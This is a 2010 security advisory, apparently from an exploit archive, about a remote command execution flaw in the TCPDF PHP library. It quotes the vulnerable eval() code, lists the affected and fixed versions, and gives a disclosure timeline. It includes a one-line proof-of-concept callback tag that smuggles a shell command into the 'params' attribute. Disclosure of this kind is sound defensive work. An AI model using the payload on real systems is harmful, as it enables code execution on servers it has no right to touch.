exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TCPDF Remote Command Execution

TCPDF Remote Command Execution
Posted Apr 9, 2010
Authored by apoc | Site apoc.sixserv.org

TCPDF versions 4.5.036 through 4.9.005 suffer from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 1b844893c3f0054edbc9dd60f588f560d22a1fdc58abcbfc9474ae08c0efc5f5

TCPDF Remote Command Execution

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --[ Product

TCPDF is an Open Source PHP class for generating PDF documents.
TCPDF project was started in 2002 and now it is freely used all
over the world by millions of people. TCPDF is a Free Libre Open
Source Software (FLOSS). -- http://www.tcpdf.org/

- --[ Vulnerability

Under certain circumstances, an intruder may be able to take
advantage of this flaw to execute arbitrary code with the
privileges of the web server.

To exploit this issue the application that is using TCPDF must be
vulnerable to cross-site scripting inside their pdf generating
code.

The problem is caused by the TCPDF callback element that could be
injected into HTML code. The parsing of the callback element is
using the 'params' attribute inside an eval() statement without any
sanitation.

- --[ Affected Code

tcpdf.php:15421:
case 'tcpdf': {
// NOT HTML: used to call TCPDF methods
if (isset($tag['attribute']['method'])) {
$tcpdf_method = $tag['attribute']['method'];
if (method_exists($this, $tcpdf_method)) {
if (isset($tag['attribute']['params']) AND
(!empty($tag['attribute']['params']))) {

eval('$params = array('.$this->unhtmlentities(
$tag['attribute']['params']).');');

call_user_func_array(array($this, $tcpdf_method),
$params);
} else {
$this->$tcpdf_method();
}
$this->newline = true;
}
}
}

- --[ Proof of Concept

The injection of the following TCPDF callback element into HTML
code (that is processed by TCPDF) will exploit the issue:

<tcpdf method="Rect" params=");echo `id`;die(" />

- --[ Affected Versions

TCPDF versions from 4.5.036 (2009-04-03) to 4.9.005 (2010-04-01)
are vulnerable to this issue, version 4.9.006 (2010-04-02) fixes
the problem.

The new version introduced a configuration constant to disable the
TCPDF callback element: K_TCPDF_CALLS_IN_HTML (default: true)

- --[ Timeline

2010-04-02 -- Vendor notified
2010-04-02 -- Vendor reaction and security fix
2010-04-08 -- Public disclosure (with vendor permissions)

- --
(a) (p)roof (o)f (c)oncept ..
http://apoc.sixserv.org/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEYEARECAAYFAku9ZUoACgkQWlhozqFVuMtAFACfSRQzl9Z6b9tMerJRbQ0qXyW4
aD8An0o+79nWFtxA29x4XbUARZkg2rr7
=9coC
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close